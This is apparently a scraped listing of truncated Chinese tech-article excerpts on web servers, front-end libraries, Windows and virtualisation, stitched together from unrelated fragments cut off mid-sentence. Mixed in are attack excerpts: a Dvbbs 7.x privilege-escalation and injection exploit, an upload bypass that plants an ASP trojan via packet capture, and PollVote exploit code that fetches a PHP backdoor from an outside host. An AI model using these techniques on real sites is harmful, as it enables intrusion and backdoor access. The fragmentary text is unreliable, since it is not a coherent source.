其他

在6月份的黑防上看到《動網7.1漏洞驚現江湖》一文，說是admin_postings.asp檔案存在注入漏洞，但利用的前提是擁有超級版主或前台管理員權限。我想起以前發現的動網7.x版本存在一個前台許可權提升漏洞， 正好可以結合起來利用。這個前台許可權提升漏洞對7.x的Ａccess和 SQL版都有效。下面我們就以7.0 SP2 SQL版，講解這個漏洞的利用。漏洞分析：我們知道動網是通過GroupID來判斷目前使用者所在的組的，然後再通過組的資訊判斷使用者的許

gzip壓縮使用 gzip 壓縮可以降低網站頻寬消耗，同時提升訪問速度。主要在nginx服務端將頁面進行壓縮，然後在瀏覽器端進行解壓和解析，目前大多數流行的瀏覽器都遲滯gzip格式的壓縮，所以不用擔心。預設情況下，Nginx的gzip壓縮是關閉的，同時，Nginx預設只對text/html進行壓縮主要配置如下：gzip on;#開啟 gzip_http_version 1.0;#預設1.1 gzip_vary on; gzip_comp_level 6; gzip_proxied any;

從Nginx切換到Tengine主要是因為 concat 模組(合并js、css)，以及動態載入模組功能(DSO)。 如果已經用apt-get方式安裝了Nginx，可以嘗試以下步驟以切換到Tengine(不需要卸載Nginx)： 1. 到官方下載你喜歡的Tengine版本，這裡以最新版(1.4.0)為例， 複製代碼 代碼如下: wget http://tengine.taobao.org/download/tengine-1.4.0.tar.gz 2. 解壓縮： 複製代碼 代碼如下: tar

$('#xxx').combobox('setValue',11);$('#epsId_combo').combobox('selectedIndex',0);<pre class="html" name="code"><select id='xxx' class="easyui-combobox" style="width: 180px;"> <option value='1'>第一個</option> <option value='2'

涉及到大部分：如動網  還有星空的NF_visual_upfile.asp 找到 upload.asp 等等上傳圖片的地方 可以看原始碼中有 filepath 或者file，path的字 運行WSockExper抓包 上傳一個asp木馬 在WSockExper 找到 post …… 的2行 全選 複製到一個txt的文本裡   修改： 兩個底部都要空一行

一、簡介 功能：所見即所得 (WYSIWYG)，支援圖片和Flash，工具列可自由配置，使用簡單 相容性：IE 5.5+、Firefox 1.5+、Safari 3.0+、Opera 9.50+、Netscape 7.1+、 Camino 1.0+ 成熟度等級：使用廣泛，被Baidu、CSDN等選用 二、下載 官方下載首頁：http://www.fckeditor.net/download/，目前的版本為2.5.1 需要下載FCKeditor 2.5.1（FCKeditor_2.5.1.zip）

(其實2000,xp都有smss.exe必須的進程，但是它的路徑是c:\winnt\system32，看路徑的工具可以用Process Explorer這個工具來看）　　在D盤寫一個autocommand.ini檔案，可以刪除，但是刪除後又回自動產生。　　　　一、恢複系統硬碟鏡像後，進入系統。發現依然中毒　　　　二查看註冊表啟動項目run有個附加元件目tprogram=c:\windows\smss.exe,可以刪除，啟動後註冊表又有這個！　　　　二下載木馬客星最新版本，安裝完畢。木馬

Ext.MessageBox.confirm()詳解 顯示一個確認對話方塊，用來代替JavaScript標準的confirm()方法，具有兩個按鈕“是”和“否”如果為其提供一個回呼函數，則該函數將在單擊按鈕後被調用(包括右上方的推出按鈕)，所單擊按鈕的id將被作為唯一的參數傳遞到回呼函數中。 調用格式： confirm(String title,String msg,[function fn],[Object scope]) 參數說明：

PollVote是一個投票系統，今天看了非安全的雜誌，看了利用方法， 不過作者說利用過程的時候很煩瑣，關鍵的時候又沒說明白， 簡單的說一下`` 首先建立2個文本 分別是creatfile.txt和phpdoor.txt creatfile.txt內容寫 <? $f=file_get_contents("http://www.hackeroo.com/phpdoor.txt"); $ff=fo

在WIN7 X64系統或其它WINDOWS X64系統的IIS，使用JET串連不上ACCESS資料，常見錯誤提示：ADODB.Connection 錯誤 '800a0e7a'，未找到提供者。該程式可能未正確安裝。或Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80004005'[Microsoft][ODBC 驅動程式管理器] 未探索資料源名稱並且未指定預設驅動程式原因是沒有64位系統的JET驅動。解決方案一：開始 – 運行 – 輸入”cmd” ，

 WIN7或win2008 r2系統的IIS7.5添加預設文件的時候，出現錯誤：IIS7.5無法寫入設定檔web.config，見下圖。     無法寫入那應該就是許可權問題，這雖然是WIN7系統，但分區仍然是FAT32格式的，沒有許可權這一塊。   

輸入帳戶密碼進入系統時，在調用設定檔後載入自啟動程式，如果希望系統啟動後即鎖定，可以嘗試使用開機後即進入螢幕保護裝置的方法 設定好屏保的密碼之後，將其加入至自程式>啟動中即可，或修改註冊表的RUN項開啟您希望放置這一捷徑的檔案夾，在檔案夾中單擊右鍵，選擇“建立”*“捷徑”。在彈出的“建立捷徑”對話方塊中，輸入“rundll32.exe user32.dll,LockWorkStation”(在‘.exe'後有一個空格)，然後點擊“下一步”按鈕，輸入捷徑的名字，點擊“完成”按鈕。

jquery在這方面則正好相反，它的UI都以外掛程式形式提供，可以需要什麼就引用什麼，所以非常小巧靈活，但由於外掛程式往往是由不同的人或者團隊來提供，介面和介面往往就不那麼一致。反正是各有千秋吧。 今天學習extjs中的grid，它可以說是功能強大，無出其右，只有你想不到的，沒有它做不到的，呵呵，好像是有點誇張了。好，不說廢話了，我們就從最簡單的grid開始，一步步來看看extjs給我們提供的grid究竟給我們提供了哪些功能。 一個grid包括一些行和列，在extjs裡邊，列由Ext.grid.

超級批處理： 複製代碼 代碼如下: DEL /F /A /Q \\?\%1 RD /S /Q \\?\%1 檔案-另存新檔"統統刪除.bat" (名字叫什麼都可以,不過尾碼一定要".bat") 然後,把要刪除的檔案或者目錄拖放到這個bat檔案的表徵圖上就可以刪除了! 單獨刪除木馬的方法：del \\.\d:\aux\com1.asp 就可以刪除這個木馬了 直接刪除檔案夾的方法：rd /q/s \\.\d:\aux 這樣整個檔案夾就可以刪除了 建立的該檔案夾的方法：md d:\aux\ md

不是最新的不過應該夠用了！ 區別就是在這裡下載的中文版不知道為什麼直接就有了wp-config.php 　　         1、什麼是WordPress？ 

FFDShow可以稱得上是全能的解碼、編碼器.最初FFDShow只是mpeg視頻解碼器,不過現在他能做到的遠不止於此.它能夠解碼的視頻格式已經遠遠超出了mepg4的範圍,包括indeo video,WMV,mpeg2等等.同時,它也提供了豐富的加工處理選項,可以銳利化畫面,調節畫面的亮度等等.不止是視頻,FFDShow現在同樣可以解碼音頻,AC3、MP3等音頻格式都可支援.並且可以外掛winamp

經常我們會遇到想找出不包含某個字串的文本，程式員最容易想到的是在Regex裡使用，^(hede)來過濾”hede”字串，但這種寫法是錯誤的。我們可以這樣寫：[^hede]，但這樣的Regex完全是另外一個意思，它的意思是字串裡不能包含‘h'，‘e'，‘d'三個但字元。那什麼樣的Regex能過濾出不包含完整“hello”字串的資訊呢？事實上，說Regex裡不支援逆向匹配並不是百分之百的正確。就像這個問題，我們就可以使用否定式尋找來類比出逆向匹配，從而解決我們的問題：複製代碼 代碼如下:^((

登陸伺服器，執行指令碼/opt/tools/real_time_status.sh：（該指令碼的相關資料都是從xentop命令中提取的）#!/bin/bash# Program:# Real-time Performance# History:#2014/09/29caishunzhi First release DIR="/opt/tools"HOSTNAME=`/bin/hostname`SORT=${1:-4}NUM=${2:-6} function get_performance(

Vmware對於使用者來說已經很熟悉，vmware esxi又叫（VMware vSphere Hypervisor），VMware ESxi是VMware ESX的精簡免費版，並且安裝配置非常便捷簡單，所以被很多使用者所青睞，正睿作為VMware的夥伴，今天就來與大家分享一下VMware esxi 5.1虛擬機器的安裝和設定。一、VMware esxi 5.1詳細安裝配置注意安裝前注意：在安裝VMware esxi 5.1之前，也確認主機符合VMware esxi 5.1支援的最低硬體設定。1

現在越來越多的人家中都安裝了寬頻，硬碟空間隨之就不夠用了，喜歡玩遊戲和下載軟體的朋友深有體會，像仙劍3，DIABLO II，盟軍敢死隊3這樣的遊戲動輒就1-2GB，網上下載高清晰電影也以GB為單位，極占硬碟空間，如果是映像和3D工作者，大型存放區更是必要。我們簡單算一下，燒錄80G硬碟資料需要700M容量的CD盤120張，可是如果使用了DVD盤燒錄只要17張，一切麻煩都迎刃而解!